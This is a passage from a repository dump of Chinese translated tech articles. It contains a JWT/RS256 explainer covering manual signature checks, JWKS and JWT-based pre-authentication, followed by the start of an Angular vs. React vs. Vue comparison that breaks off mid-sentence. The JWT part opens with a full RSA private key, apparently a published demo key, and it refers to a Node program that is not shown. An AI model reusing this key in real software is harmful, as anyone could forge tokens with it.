``` -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw== -----END RSA PRIVATE KEY----- ``` 好消息是,攻击者根本无法猜出这一点! 再次记住,这两个键是对应的,一个密钥加密,另一个只能解密。但是我们如何使用它来产生签名呢? ### 为什么不只对载荷 RSA 加密? 下面是使用 RSA 创建数字签名的一个尝试:我们对 Header 和 Payload 使用 RSA 私钥加密,然后发送JWT。 接收者得到 JWT,用公钥解密,然后检查结果。 如果解密过程起到作用,并且输出看起来像一个 JSON 载荷,那么验证服务器一定是创建了这个数据同时对它进行加密。所以它必须是完整的,对吧? 确实如此,证明这个令牌是正确的就足够了。但是由于实际的原因,这不是我们所要做的。 例如与 hash 函数相比,RSA 加密过程相对较慢。对于更大的载荷,这可能是一个问题,这仅仅是其中的一个原因。 那么,实际上 HS256 签名怎么使用 RSA 的呢? ### 用 RSA 和 SHA-256 签署一个 JWT (RSA-SHA256) 在实践中,我们首先要做的是把头部和载荷进行 hash 函数处理,例如使用 SHA-256。 这一步很快就完成了,接下来我们会得到一个唯一的比实际长度要小得多的输入数据。 然后我们获取 hash 输出并使用 RAS 私钥加密获取 RS256 签名,而不是对整个数据(头和载荷)加密! 接着我们把它作为三部分的最后一部分添加到 JWT 并发送。 ### 如何接收检查 RS256 签名? JWT 接收者将会: * 用 SHA-256 hash 头和载荷 * 用公钥解密签名,并获得签名的 hash * 接收者对签名的 hash 结果和头加载荷的 hash 结果进行对比 两个 hash 值匹配吗?如果匹配,就可以证明这个 JWT 确实是由认证服务器创建的了! 任何人都可以计算这个 hash,但只有身份验证服务器可以用匹配的 RSA 私钥对它进行加密。 你认为还有更多吗?那么我们来确认一下,并在这个过程中学习如何排查 RS256 签名。 ### 手动确认一个 RS256 JWT 签名 让我们在 [jwt.io](https://jwt.io) 开始一个 RS256 签名的 JWT 的例子: ``` eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.EkN-DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W_A4K8ZPJijNLis4EZsHeY559a4DFOd50_OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k_4zM3O-vtd1Ghyo4IbqKKSy6J9mTniYJPenn5-HIirE ``` 我们可以看到,这相对 HS256 JWT 来说没有直接的视觉差异,但这是与上面所示的相同的 RSA 的私钥签署。 现在,我们只隔离了头部和载荷,和移除了签名: ``` eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 ``` 我们现在要做的就是使用 SHA-256 对它进行 hash 处理,并使用上面显示的 RSA 私钥对它进行加密。 得到的结果应该就是 JWT 签名了!让我们来确认一下是否用了 node 内置的 Crypto 模块。不需要额外安装,这是 Node 的内置模块。 这个模块内置了[RSA-SHA256 函数](https://nodejs.org/api/crypto.html#crypto_class_sign) 和许多其他签名函数,我们可以使用它们尝试重现签名。 为了重现它,我们要做的第一件事是,我们需要取得RSA私钥并保存到一个叫 `private.key` 的 text 文件。 然后在命令行中,我们通过node shell执行这个小程序 如果您使用的JWT与我们使用的测试JWT不同,那么您只需将这两个部分复制/粘贴到 `write` 调用中,而不需要 JWT 签名。 这是返回的结果: ``` EkN+DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W/A4K8ZPJijNLis4EZsHeY559a4DFOd50/OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k/4zM3O+vtd1Ghyo4IbqKKSy6J9mTniYJPenn5+HIirE= ``` 这与 JWT 签名完全不同!但是等一下:这里有斜杠,等号,它们是不可能的在没有转义的情况下放入一个 URL 的。 这是因为我们已经创建了 Base64 版本的签名,而我们需要的是 Base64Url 版本。 所以让我们转换它: ``` bash$ node const base64url = require('base64url'); base64url.fromBase64("EkN+DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W/A4K8ZPJijNLis4EZsHeY559a4DFOd50/OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k/4zM3O+vtd1Ghyo4IbqKKSy6J9mTniYJPenn5+HIirE="); ``` 看一下返回什么: ``` EkN-DOsnsuRjRO6BxXemmJDm3HbxrbRzXglbN2S4sOkopdU4IsDxTI8jO19W_A4K8ZPJijNLis4EZsHeY559a4DFOd50_OqgHGuERTqYZyuhtF39yxJPAjUESwxk2J5k_4zM3O-vtd1Ghyo4IbqKKSy6J9mTniYJPenn5-HIirE ``` 这正是我们试图创建的 RS256 签名的一点一滴! 这验证了我们对 RS256 JWT 签名的理解,现在我们知道如何在需要时对它进行故障排除。 总之,RS256 JWT签名只是一个被RSA加密过同时被SHA-256 hash的头和载荷。 所以我们现在知道 RS256 签名是如何工作的,但为什么这些签名比 HS256 更好呢? ### RS256 vs HS256 - 为什么使用 RS256? 通过 RS256 攻击者可以很容易地做到签名创建过程的第一步,即根据被盗的 JWT 头和有效负载的值创建 SHA-256 hash。 但想要从那重新生成签名,就不得不破解RSA,但对一个好的密钥来说破解是[不可能的事](https://crypto.stackexchange.com/questions/3043/how-much-computing-resource-is-required-to-brute-force-rsa)。 但是对于大多数应用,这并不是我们为什么要选择 RS256 而不是 HS256 的最实际的原因。 使用 RS256,我们也知道具有签名令牌功能的私钥只能由认证服务器保存,在那里更加安全 - 这意味着使用 RS256 丢失签名私钥的可能性较小。 但是选择 RS256 有一个更大的实际原因 - 密钥转换。 ### 如何证明密钥转换 记住,验证令牌的公钥可以在任何地方发布,但实际上攻击者拿着它也什么都做不了。 毕竟,攻击者验证偷来的 JWT 有什么好处呢?攻击者是想要伪造 JWTs,而不是验证他们。 这样就可以在我们控制的服务器上发布公钥了。 应用服务器只需要连接到该服务器获取公钥,并定期重新检查,以防它发生变化,无论是因为突发事件还是周期性的密钥旋转。 因此,不需要同时关闭应用服务器和认证服务器,并一次性更新密钥。 那公钥是怎么发布的?这有个很可能形式。 ### JWKS (JSON Web Key Set)终端 有许多形式可以发布公钥,但是这里有一个让人熟悉的格式:JWKS,它是 Json Web Key Set 的缩写。 使用一些 npm 包来占用这些端点并验证 JWT,我们将在第二部分看到。 这些端点可以发布一系列公钥,而不仅仅是一个公钥。 如果您想知道这种类型的端点是什么样子的,请看一下这个活生生的[例子](https://angularuniv-security-course.auth0.com/.well-known/jwks.json),在这我们收到HTTP GET request的response。 `kid` 属性是关键标识符,而 `x5c` 属性是一个特定公钥的表现形式。 这种格式的优点在于它是标准的,所以我们只需要 URL 的端点和一个使用 JWKS 的库 - 这让我们可以使用公钥来验证 JWT,而不必在我们的服务器安装它。 JWTs 往往与公共互联网站点以及第三方社交登录的解决方案有关。那么内部网跟内部应用程序呢? ### 企业中的 JWTs JWT 也适用于企业,在大家对安全措施的认知里,预认证设置是一个很好的选择。 在许多公司的预验证设置中,应用程序服务器会在私有网络的代理服务器上运行,它只需从 HTTP 报头上检索当前用户。 标识用户的 HTTP 头通常由网络的集中元素填充,通常是在代理服务器上的一个登录页面,该页面负责处理用户会话。 如果会话过期,该服务器将阻止对应用程序的访问,需要用户再次登录后进行身份验证。 之后,它会将所有请求转发到应用程序服务器,并简单地添加一个 HTTP 头来标识用户。 > 问题是,通过这种设置,实际上网络中的任何人都可以通过设置相同的HTTP头轻松地模拟用户! 有些解决方案,比如应用服务器层级的代理服务器IP白名单,或者使用客户端证书,但实际上大多数公司没有这个措施 #### 一个更好的预认证配置版本 预认证的想法很好,因为此设置意味着应用程序开发人员不必在每个应用程序上实现身份验证功能,节省了时间和避免了潜在的安全漏洞。 预认证使我们不需要受困于安全性问题,让我们的应用程序更完备,哪怕只是在私人网络里。难道能够快捷设置预认证不是一件好事吗? 很容易想象到加入JWT的场景:让HTTP头成为一个jwt,而不是仅仅像过往的预认证那样仅仅把用户名放进头部。 让我们把用户名取代JWT的载荷,并在验证服务器中签名。 应用服务器将会第一步验证 JWT,而不仅仅从 header 中提取用户名: * 如果签名正确,则用户身份正确,请求能够通过 * 如果签名不正确,应用服务器会直接拒绝请求 结果是,我们现在认证工作运作正常,即使是在私人网络上! 我们不再需要盲目相信包含用户名的 HTTP Header。我们可以确认 HTTP header 的正确性,由代理发出,而防止攻击者假装其他用户登录。 ### 结语 在这篇文章里,我们对 JWT 有了一个全面的了解,它是什么,它们是怎么被运用于用户验证的。JWTs仅仅是具有易于验证和不可伪造特性的JSON 载荷。 而且,JWT 不是身份验证独有的,我们可以使用它们在网络任何地方发送任何声明。 另一个在使用 JWTs 时常见的安全问题:我们可以在载荷上为用户授权角色:只读用户、管理员等。 在下一篇文章里,我们将会学习到在 Angular 应用中如何使用 JWTs 进行用户验证。 我希望你能享受这篇文章,如果你有什么问题和意见,请在评论区提出,我会与你联系。 注意了!很快就会有更多相关的文章出炉,欢迎订阅! ### 相关链接 [Auth0 JWT 手册](https://auth0.com/e-books/jwt-handbook) [RS256 和 JWKS 指南](https://auth0.com/blog/navigating-rs256-and-jwks/) [暴力破解 hs256 是可能的:签署强健 jwts 的重要性](https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/) [JSON Web Key Set (JWKS)](https://auth0.com/docs/jwks) ### YouTube 上的视频教程 看看 Angular 大学的 Youtube 频道,我们发布了大约25%到三分之一的视频教程,新视频会陆续推出。 [订阅](http://www.youtube.com/channel/UC3cEGKhg3OERn-ihVsJcb7A?sub_confirmation=1)获取新的视频教程: ## 有关 angular 的其他文章 还可以看看其他有趣的文章: * [开始 Angualr ————在 yarn 下的最佳开发环境,Angular CLI,设置 IDE](http://blog.angular-university.io/getting-started-with-angular-setup-a-development-environment-with-yarn-the-angular-cli-setup-an-ide/) * [为什么是单页应用?有什么好处?什么是 spa?](http://blog.angular-university.io/why-a-single-page-application-what-are-the-benefits-what-is-a-spa/) * [Angular 智能组件 vs 展示组件: 有什么区别,什么时候使用它们,为什么?](http://blog.angular-university.io/angular-2-smart-components-vs-presentation-components-whats-the-difference-when-to-use-each-and-why) * [Angular Router ————如何用 Bootstrap4 和 Nested Routes 创建导航菜单](http://blog.angular-university.io/angular-2-router-nested-routes-and-nested-auxiliary-routes-build-a-menu-navigation-system/) * [Angular Router————拓展导航,避免常见陷阱](http://blog.angular-university.io/angular2-router/) * [Angular Components————原理](http://blog.angular-university.io/introduction-to-angular-2-fundamentals-of-components-events-properties-and-actions/) * [如何使用可观察的数据服务构建 Angular 应用————要避免的陷阱](http://blog.angular-university.io/how-to-build-angular2-apps-using-rxjs-observable-data-services-pitfalls-to-avoid/) * [Angular Forms 介绍————模版驱动 vs 模型驱动](http://blog.angular-university.io/introduction-to-angular-2-forms-template-driven-vs-model-driven/) * [Angular ngFor————学习包括 trackby 的所有功能,为什么它不仅对数组能用?](http://blog.angular-university.io/angular-2-ngfor/) * [Angular university 实战————如何创建 SEO 友好的 Angualr 单页应用](http://blog.angular-university.io/angular-2-universal-meet-the-internet-of-the-future-seo-friendly-single-page-web-apps/) * [Angular2 的脏值检测是怎么工作的?](http://blog.angular-university.io/how-does-angular-2-change-detection-really-work/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/angular-vs-react-vs-vue-a-2017-comparison.md ================================================ > * 原文地址:[Angular vs. React vs. Vue: A 2017 comparison](https://medium.com/unicorn-supplies/angular-vs-react-vs-vue-a-2017-comparison-c5c52d620176) > * 原文作者:[Jens Neuhaus](https://medium.com/@jensneuhaus?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-vs-vue-a-2017-comparison.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-vs-vue-a-2017-comparison.md) > * 译者:[Raoul1996](https://github.com/raoul1996) > * 校对者:[caoyi0905](https://github.com/caoyi0905)、[PCAaron](https://github.com/PCAaron) # 2017 年比较 Angular、React、Vue 三剑客 为 web 应用选择 JavaScript 开发框架是一件很费脑筋的事。现如今 [Angular](https://angular.io/) 和 [React](https://facebook.github.io/react/) 非常流ßß行,并且最近出现的新贵 [VueJS](https://vuejs.org/) 同样博得了很多人的关注。更重要的是,这只是一些[街头顽童](https://hackernoon.com/top-7-javascript-frameworks-c8db6b85f1d0)。 ![Javascripts in 2017 —— things aren’t easy these days!](https://cdn-images-1.medium.com/max/800/1*xRhs4h2a_rGpXNpoSNlA9w.png) 那么我们如何选择使用哪个框架呢?列出他们的优劣是极好的。我们将按照先前文章的方式去做,“[共有9步:为 Web 应用选择一个技术栈](https://medium.com/unicorn-supplies/9-steps-how-to-choose-a-technology-stack-for-your-web-application-a6e302398e55)”。 ## 在开始之前 —— 是否应用单页 Web 应用开发? 首先你需要弄明白你需要单页面应用程序(SPA)还是多页面的方式。关于这个问题的详细内容请阅读我的博客文章,“[单页面应用程序(SPA)与多页 Web 应用程序(MPA)](https://medium.com/unicorn-supplies/angular-vs-react-vs-vue-a-2017-comparison-c5c52d620176#)“(即将推出,请关注我 [Twitter](http://www.twitter.com/jensneuhaus/) 的更新)。 ## 今日首发:Angular,React 和 Vue 首先,我想从**生命周期和战略考虑**角度讨论。然后,我们再讨论这三个 JavaScript 框架的**功能和概念**。最后,我们再做**结论**。 以下是我们今天要解决的问题: - **这些框架或库有多成熟**? - 这些框架只会**火热一时**吗? - **这些框架相应的社区规模有多大,能得到多少帮助**? - 找到每个框架开发者**容易吗**? - 这些框架的**基本编程概念** 是什么? - **对于小型或大型应用程序**,框架是否易用? - 每个框架**学习曲线**什么样? - 你期望这些框架的**性能**怎么样? - 在哪能**仔细了解底层原理**? - 你可以用你选择的框架**开发**吗? 准备好,听我娓娓道来! ## 生命周期与战略考虑 ![比较 React、Angular 和 Vue](https://cdn-images-1.medium.com/max/800/1*aPijhbTjT0VOxPYq2RkVUw.png) ### 一些历史 **Angular** 是基于 TypeScript 的 Javascript 框架。由 Google 进行开发和维护,它被描述为“超级厉害的 JavaScript [MVW](https://plus.google.com/+AngularJS/posts/aZNVhj355G2) 框架”。Angular(也被称为 “Angular 2+”,“Angular 2” 或者 “ng2”)已被重写,是与 AngularJS(也被称为 “Angular.js” 或 “AngularJS 1.x”)不兼容的后续版本。当 AngularJS(旧版本)最初于2010年10月发布时,仍然在[修复 bug](https://github.com/angular/angular.js),等等 —— 新的 Angular(sans JS)于 2016 年 9 月推出版本 2。最新的主版本是 4,[因为版本 3 被跳过了](http://www.infoworld.com/article/3150716/application-development/forget-angular-3-google-skips-straight-to-angular-4.html)。Google,Vine,Wix,Udemy,weather.com,healthcare.gov 和 Forbes 都使用 Angular(根据 [madewithangular](https://www.madewithangular.com/),[stackshare](https://stackshare.io/angular-2) 和 [libscore.com](http://libscore.com/#angular) 提供的数据)。 **React** 被描述为 “用于构建用户界面的 JavaScript 库”。React 最初于 2013 年 3 月发布,由 Facebook 进行开发和维护,Facebook 在多个页面上使用 React 组件(但不是作为单页应用程序)。根据 [Chris Cordle](https://medium.com/@chriscordle) [这篇文章](https://medium.com/@chriscordle/why-angular-2-4-is-too-little-too-late-ea86d7fa0bae)的统计,React 在 Facebook 上的使用远远多于 Angular 在 Google 上的使用。React 还被 Airbnb,Uber,Netflix,Twitter,Pinterest,Reddit,Udemy,Wix,Paypal,Imgur,Feedly,Stripe,Tumblr,Walmart 等使用(根据 [Facebook](https://github.com/facebook/react/wiki/Sites-Using-React), [stackshare](https://stackshare.io/react) 和 [libscore.com](http://libscore.com/#React) 提供的数据)。 Facebook 正在开发 **React Fiber**。它会改变 React 的底层 - 渲染速度应该会更快 - 但是在变化之后,版本会向后兼容。Facebook 将会在 2017 年 4 月的开发者大会上[讨论](https://developers.facebook.com/videos/f8-2017/the-evolution-of-react-and-graphql-at-facebook-and-beyond/)新变化,并发布一篇非官方的[关于新架构的文章](https://github.com/acdlite/react-fiber-architecture)。React Fiber 可能与 React 16 一起发布。 **Vue** 是 2016 年发展最为迅速的 JS 框架之一。Vue 将自己描述为一款“用于构建直观,快速和组件化交互式界面的 [MVVM](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel) 框架”。它于 2014 年 2 月首次由 Google 前员工 [Evan You](https://github.com/yyx990803) 发布(顺便说一句:尤雨溪那时候发表了一篇 [vue 发布首周的营销活动和数据](http://blog.evanyou.me/2014/02/11/first-week-of-launching-an-oss-project/) 的博客文章)。尤其是考虑到 Vue 在没有大公司的支持的情况下,作为一个人开发的框架还能获得这么多的吸引力,这无疑是非常成功的。尤雨溪目前有一个包含数十名核心开发者的团队。2016 年,版本 2 发布。Vue 被阿里巴巴,百度,Expedia,任天堂,GitLab 使用 — 可以在 [madewithvuejs.com](https://madewithvuejs.com/) 找到一些小型项目的列表。 Angular 和 Vue 都遵守 **MIT license** 许可,而 React 遵守 **[BSD3-license](https://en.wikipedia.org/wiki/BSD_licenses#3-clause_license_.28.22BSD_License_2.0.22.2C_.22Revised_BSD_License.22.2C_.22New_BSD_License.22.2C_or_.22Modified_BSD_License.22.29) 许可证**。在专利文件上有很多讨论。[James Ide](https://medium.com/@ji)(前 Facebook 工程师)解释专利文件背后的[原因和历史](https://medium.com/@ji/the-react-license-for-founders-and-ctos-b38d2538f3e5):Facebook 的专利授权是在保护自己免受专利诉讼的能力的同时分享其代码。专利文件被更新了一次,有些人声称,如果你的公司不打算起诉 Facebook,那么使用 React 是可以的。你可以[在 Github 的这个 issue 上](https://github.com/facebook/react/issues/7293) 查看讨论。我不是律师,所以如果 React 许可证对你或你的公司有问题,你应该自己决定。关于这个话题还有很多文章:[Dennis Walsh](https://medium.com/@dwalsh.sdlr) 写到,[你为什么不该害怕](https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562)。[Raúl Kripalani](https://medium.com/@raulk) 警告:[反对创业公司使用 React](https://medium.com/@raulk/if-youre-a-startup-you-should-not-use-react-reflecting-on-the-bsd-patents-license-b049d4a67dd2),他还写了一篇[备忘录概览](https://medium.com/@raulk/further-notes-and-questions-arising-from-facebooks-bsd-3-strong-patent-retaliation-license-c6386e8e1d60)。此外,Facebook上还有一个最新的声明:[解释 React 的许可证](https://code.facebook.com/posts/112130496157735/explaining-react-s-license/)。 ### 核心开发 如前所述,Angular 和 React 得到大公司的支持和使用。Facebook,Instagram 和 WhatsApp 正在它们的页面使用 React。Google 在很多项目中使用 Angular,例如,新的 Adwords 用户界面是使用 [Angular 和 Dart](http://news.dartlang.org/2016/03/the-new-adwords-ui-uses-dart-we-asked.html?m=1)。然而,Vue 是由一群通过 Patreon 和其他赞助方式支持的个人实现的,是好坏你自己确定。[Matthias Götzke](https://medium.com/@mgoetzke) 认为 Vue 小团队的好处是 [用了更简洁和更少的过度设计的代码或 API](https://medium.com/@mgoetzke/some-people-have-been-asking-about-the-dependability-of-vue-jss-9dc2842b3709)。 我们来看看一些统计数据:Angular 在团队介绍页[列出 36 人](https://angular.io/about?group=Angular),Vue [列出 16 人](https://vuejs.org/v2/guide/team.html),而 React 没有团队介绍页。**在 Github 上**,Angular 有 25,000+ 的 star 和 463 位代码贡献者,React 有 70,000+ 的 star 和 1,000+ 位代码贡献者,而 Vue 有近 60,000 的 star 和只有 120 位代码贡献者。你也可以查看 [Angular,React 和 Vue 的 Github Star 历史](http://www.timqian.com/star-history/#facebook/react&angular/angular&vuejs/vue)。又一次说明 Vue 的趋势似乎很好。根据 [bestof.js](https://bestof.js.org/tags/framework/trending/last-3-months) 提供的数据显示,在过去三个月 Angular 2 平均每天获得 31 个 star,React 74 个,Vue.JS 107 个。 ![Angular,React 与 Due 的 Github Star 历史 (数据来源)](https://cdn-images-1.medium.com/max/800/1*vvRdTNyQNrDeAxBXzBbqQw.png) [数据来源](http://www.timqian.com/star-history/#facebook/react&angular/angular&vuejs/vue) **更新**: 感谢 [Paul Henschel](https://medium.com/@drcmda) 提出的 [npm 趋势](http://www.npmtrends.com/angular-vs-react-vs-vue-vs-@angular/core)。npm 趋势显示了 npm 包的下载次数,相对比单独地看 Github star 更有用: ![在过去 2 年,npm 包的下载次数](https://cdn-images-1.medium.com/max/800/1*JKPQhZwOGAAlViSYsUf--w.png) ### 市场生命周期 由于各种名称和版本,很难在 Google 趋势中比较 Angular,React 和 Vue。一种近似的方法可以是“互联网与技术”类别中的搜索。结果如下: ![](https://cdn-images-1.medium.com/max/600/1*gTNdON6wlXXiDJONUUtioQ.png) Vue 没有在 2014 年之前创建 - 所以这里有什么不对劲。La Vue是法语的 “view” ,“sight” 或 “opinion”。也许就是这样。“VueJS” 和 “Angular” 或 “React” 的比较也是不公平的,因为 VueJS 几乎没有搜索到任何结果。 那我们试试别的吧。ThoughtWorks 的 [Technology Radar](https://www.thoughtworks.com/de/radar#) 技术随时间推移的变化。ThoughtWorks 的 [Technology Radar](https://www.thoughtworks.com/de/radar#) 随着时间推移,技术的演进过程给人深刻的印象。Redux 是[在采用阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/redux)(被 ThoughtWorks 项目采用的!),它在许多 ThoughtWorks 项目中的价值是不可估量的。Vue.js 是[在试用阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/vue-js)(被试着用的)。Vue被描述为具有平滑学习曲线的,轻量级并具灵活性的Angular的替代品。Angular 2 是[正在处于评估阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/angular-2) 使用 —— 已被 ThoughtWork 团队成功实践,但是还没有被强烈推荐。 根据 [2017 年 Stackoverflow 的最新调查](https://insights.stackoverflow.com/survey/2017#most-loved-dreaded-and-wanted),被调查的开发者中,喜爱 Reat 有 67%,喜欢 AngularJS 的有 52%。“没有兴趣在开发中继续使用”的开发者占了更高的数量,AngularJS(48%)和 React(33%)。在这两种情况下,Vue都不在前十。然后是 statejs.com 关于比较 “[前端框架](http://stateofjs.com/2016/frontend/)” 的调查。最有意思的事实是:React 和 Angular 有 100% 的认知度,23% 的受访者不了解 Vue。关于满意度,92% 的受访者愿意“再次使用” React ,Vue 有 89% ,而 Angular 2 只有 65%。 客户满意度调查呢?[Eric Elliott](https://medium.com/@_ericelliott) 于 2016 年 10 月开始评估 Angular 2 和 React。只有 38% 的受访者会再次使用 Angular 2,而 84% 的人会再次使用 React。 ### 长期支持和迁移 Facebook [在其设计原则中指出](https://facebook.github.io/react/contributing/design-principles.html#stability),React API 非常稳定。还有一些脚本可以帮助你从当前的API移到更新的版本:请查阅 [react-codemod](https://github.com/reactjs/react-codemod)。迁移是非常容易的,没有这样的东西(需要)作为长期支持的版本。在 Reddit 这篇文章中指出,人们看到到升级[从来不是问题](https://www.reddit.com/r/reactjs/comments/5a45ai/is_react_a_good_choice_for_a_stable_longterm_app/)。React 团队写了一篇关于他们[版本控制方案](https://facebook.github.io/react/blog/2016/02/19/new-versioning-scheme.html) 的博客文章。当他们添加弃用警告时,在下一个主要版本中的行为发生更改之前,他们会保留当前版本的其余部分。没有计划更改为新的主要版本 - v14 于 2015 年 10 月发布,v15 于 2016 年 4 月发布,而 v16 还没有发布日期。(译者注:[v16 于 2017 年 9 月底发布](https://reactjs.org/blog/2017/09/26/react-v16.0.html))最近 [React核心开发人员指出](https://github.com/facebook/react/issues/8854#issuecomment-312527769),升级不应该是一个问题。 关于 Angular,从 v2 发布开始,有一篇[关于版本管理和发布 Angular](http://angularjs.blogspot.de/2016/10/versioning-and-releasing-angular.html) 的博客文章。每六个月会有一次重大更新,至少有六个月的时间(两个主要版本)。在文档中有一些实验性的 API 被标记为较短的弃用期。目前还没有官方公告,但[根据这篇文章](https://www.infoq.com/news/2017/04/ng-conf-2017-keynote),Angular 团队已经宣布了以 Angular 4 开始的长期支持版本。这些将在下一个主要版本发布之后至少一年得到支持。这意味着至少在 **2018 年 9 月** 之前,将支持 Angular 4,并提供 bug 修复和重要补丁。在大多数情况下,将 Angular 从 v2 更新到 v4 与更新 Angular 依赖关系一样简单。Angular 还提供了有关是否需要进一步更改的[信息指南](https://angular-update-guide.firebaseapp.com/)。 Vue 1.x 到 2.0 的更新过程对于一个小应用程序来说应该很容易 - 开发者团队已经声称 90% 的 API 保持不变。在控制台上有一个很好的升级 - 诊断迁移 - 辅助工具。一位开发人员[指出](https://news.ycombinator.com/item?id=13151966),从 v1 到 v2 的更新在大型应用程序中仍然没有挑战。不幸的是,关于 LTS 版本的下一个主要版本或计划信息没有清晰的(公共)路径。 +还有一件事:Angular 是一个完整的框架,提供了很多捆绑在一起的东西。React 比 Angular 更灵活,你可能会使用更多独立的,不稳定的,快速更新的库 - 这意味着你需要自己维护相应的更新和迁移。如果某些包不再被维护,或者其他一些包在某些时候成为事实上的标准,这也可能是不利的。 ### 人力资源与招聘 如果你的团队有不需要了解更多 Javascript 技术的 HTML 开发人员,则最好选择 Angular 或 Vue。React 需要了解更多的 JavaScript 技术(我们稍后再谈)。 你的团队有工作时可以敲代码的设计师吗?Reddit 上的用户 “pier25” 指出,如果你在 Facebook 工作,[每个人都是一个资深开发者,React 是有意义的](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/deuynwc/)。然而事实上,你不会总是找到一个可以修改 JSX 的设计师,因此使用 HTML 模板将会更容易。 Angular 框架的好处是来自另一家公司的新的 Angular 2 开发人员将很快熟悉所有必要的约定。React 项目在架构决策方面各不相同,开发人员需要熟悉特定的项目设置。 如果你的开发人员具有面向对象的背景或者不喜欢 Javascript,Angular 也是很好的选择。为了推动这一点,这里是[Mahesh Chand 引述](http://www.c-sharpcorner.com/article/angular-2-or-react-for-decision-makers/): > 我不是一个 JavaScript 开发人员。我的背景是使用 “真正的” 软件平台构建大型企业系统。我从 1997 年开始使用 C,C ++,Pascal,Ada 和 Fortran 构建应用程序。(...)我可以清楚地说,JavaScript 对我来说简直是胡言乱语。作为 Microsoft MVP 和专家,我对 TypeScript 有很好的理解。我也不认为 Facebook 是一家软件开发公司。但是,Google 和微软已经是最大的软件创新者。我觉得使用 Google 和微软强大支持的产品会更舒服。另外(...)与我的背景,我知道微软对 TypeScript 有更宏伟的蓝图。 emmmmmmmm...... 我应该提到的,Mahesh是微软的区域总监。 ## React,Angular 和 Vue 的比较 ### 组件 我们所讨论的框架都是基于组件的。一个组件得到一个输入,并且在一些内部的行为/计算之后,它返回一个渲染的 UI 模板(一个登录/注销区或一个待办事项列表项)作为输出。定义的组件应该易于在网页或其他组件中重用。例如,你可以使用具有各种属性(列,标题信息,数据行等)的网格组件(由一个标题组件和多个行组件组成),并且能够在另一个页面上使用具有不同数据集的组件。这里有一篇[关于组件的综合性文章](https://derickbailey.com/2015/08/26/building-a-component-based-web-ui-with-modern-javascript-frameworks/),如果你想了解更多这方面的信息。 React 和 Vue 都擅长处理组件:小型的无状态的函数接收输入和返回元素作为输出。 ### Typescript,ES6 与 ES5 React 专注于使用 Javascript ES6。Vue 使用 Javascript ES5 或 ES6。 Angular 依赖于 TypeScript。这在相关示例和开源项目中提供了更多的一致性(React 示例可以在 ES5 或 ES6 中找到)。这也引入了像装饰器和静态类型的概念。静态类型对于代码智能工具非常有用,比如自动重构,跳转到定义等等 - 它们也可以减少应用程序中的错误数量,尽管这个话题当然没有共识。[Eric Elliott](https://medium.com/@_ericelliott) 在他的文章 “[静态类型的令人震惊的秘密](https://medium.com/javascript-scene/the-shocking-secret-about-static-types-514d39bf30a3)” 中不同意上面的观点。Daniel C Wang 